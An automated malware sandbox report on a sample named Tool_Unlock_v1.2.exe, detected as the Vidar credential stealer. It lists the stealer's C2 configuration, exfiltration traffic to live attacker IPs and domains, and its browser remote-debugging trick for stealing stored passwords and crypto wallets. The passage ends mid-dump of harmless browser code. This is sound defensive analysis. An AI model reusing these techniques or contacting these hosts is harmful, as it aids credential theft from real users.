Edit tour

Windows Analysis Report
Tool_Unlock_v1.2.exe

Overview

General Information

Sample name:	Tool_Unlock_v1.2.exe
Analysis ID:	1581848
MD5:	4dab3d343886c78602c10167d06be7c3
SHA1:	6a53c8a89bbd0bf047e1a57e01b912a2f4ea22b9
SHA256:	c4f30530e012defa01296ad2e05d5306a7cf82290740afbcc9dfdbc97eb67e5a
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Monitors registry run keys for changes

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Tool_Unlock_v1.2.exe (PID: 3276 cmdline: "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe" MD5: 4DAB3D343886C78602C10167D06BE7C3)

conhost.exe (PID: 1996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Tool_Unlock_v1.2.exe (PID: 6224 cmdline: "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe" MD5: 4DAB3D343886C78602C10167D06BE7C3)

chrome.exe (PID: 3524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2976 --field-trial-handle=2668,i,7896781068982538067,1984520097457375725,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7448 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2336,i,3397002458540084717,14806387222584576439,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7692 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7364 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8588 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6284 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6588 --field-trial-handle=2460,i,15865155022515292363,8573439166821795736,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199811540174", "Botnet": "hu76fa"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3279472090.0000000000520000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Tool_Unlock_v1.2.exe PID: 6224	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Tool_Unlock_v1.2.exe PID: 6224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\Tool_Unlock_v1.2.exe", ParentImage: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe, ParentProcessId: 6224, ParentProcessName: Tool_Unlock_v1.2.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 3524, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T05:45:08.681901+0100	2044247	1	Malware Command and Control Activity Detected	116.203.14.4	443	192.168.2.5	49712	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T05:45:11.099292+0100	2051831	1	Malware Command and Control Activity Detected	116.203.14.4	443	192.168.2.5	49713	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T05:45:08.681734+0100	2049087	1	A Network Trojan was detected	192.168.2.5	49712	116.203.14.4	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T05:45:03.950154+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.5	49710	116.203.14.4	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3.2.Tool_Unlock_v1.2.exe.400000.1.unpack

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199811540174", "Botnet": "hu76fa"}

Multi AV Scanner detection for submitted file

Source: Tool_Unlock_v1.2.exe	ReversingLabs: Detection: 56%
Source: Tool_Unlock_v1.2.exe	Virustotal: Detection: 61%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for sample

Source: Tool_Unlock_v1.2.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_0040FBB0 CryptUnprotectData,

3_2_0040FBB0

Source: Tool_Unlock_v1.2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.14.4:443 -> 192.168.2.5:49709 version: TLS 1.2

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00351F38 FindFirstFileExW,	0_2_00351F38
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 0_2_00351FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00351FE9
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00351F38 FindFirstFileExW,	3_2_00351F38
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00351FE9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00351FE9
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00402CC0 FindFirstFileA,	3_2_00402CC0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0042ED20 FindFirstFileA,memset,memset,	3_2_0042ED20
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00410E80 FindFirstFileA,	3_2_00410E80
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0040F070 FindFirstFileA,	3_2_0040F070
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00415221 FindFirstFileA,	3_2_00415221
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004132E0 FindFirstFileA,	3_2_004132E0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_004315C0 FindFirstFileA,	3_2_004315C0
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_0042FE60 FindFirstFileA,	3_2_0042FE60
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00417F79 FindFirstFileA,	3_2_00417F79
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	Code function: 3_2_00402E74 FindFirstFileA,	3_2_00402E74

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_0042FA59 GetLogicalDriveStringsA,

3_2_0042FA59

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.5:49712 -> 116.203.14.4:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.5:49710 -> 116.203.14.4:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.14.4:443 -> 192.168.2.5:49712
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.14.4:443 -> 192.168.2.5:49713

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199811540174

Source: global traffic

HTTP traffic detected: GET /w211et HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 23.200.0.42 23.200.0.42
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 23.49.251.25
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.198.50
Source: unknown	TCP traffic detected without corresponding DNS query: 23.195.39.6
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.198.50
Source: unknown	TCP traffic detected without corresponding DNS query: 23.195.39.6
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 23.219.82.59
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.78.111.199
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56
Source: unknown	TCP traffic detected without corresponding DNS query: 108.138.128.56

Source: C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Code function: 3_2_00408620 InternetReadFile,

3_2_00408620

Source: global traffic	HTTP traffic detected: GET /w211et HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: nwweek.sbsConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1735447542504&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1005AEB16EB26DA20238BBD56F1A6CB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1735447542504&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1005AEB16EB26DA20238BBD56F1A6CB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=16Ec1200287814d7c335b9d1735447544; XID=16Ec1200287814d7c335b9d1735447544
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1735447542504&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2a73fa2376414060a8ff10325437473c&activityId=2a73fa2376414060a8ff10325437473c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=012BD8E3001A45FDA9CABD4B535AEDB1&MUID=1005AEB16EB26DA20238BBD56F1A6CB7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1005AEB16EB26DA20238BBD56F1A6CB7; _EDGE_S=F=1&SID=2F9422619ADA623C2E2837059BAC633A; _EDGE_V=1; SM=T

Source: 06326aab-1a13-4f5b-9cea-6403e4e5a173.tmp.10.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000003.2223621623.0000313C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2223531857.0000313C00F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.2223729076.0000313C0054C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px 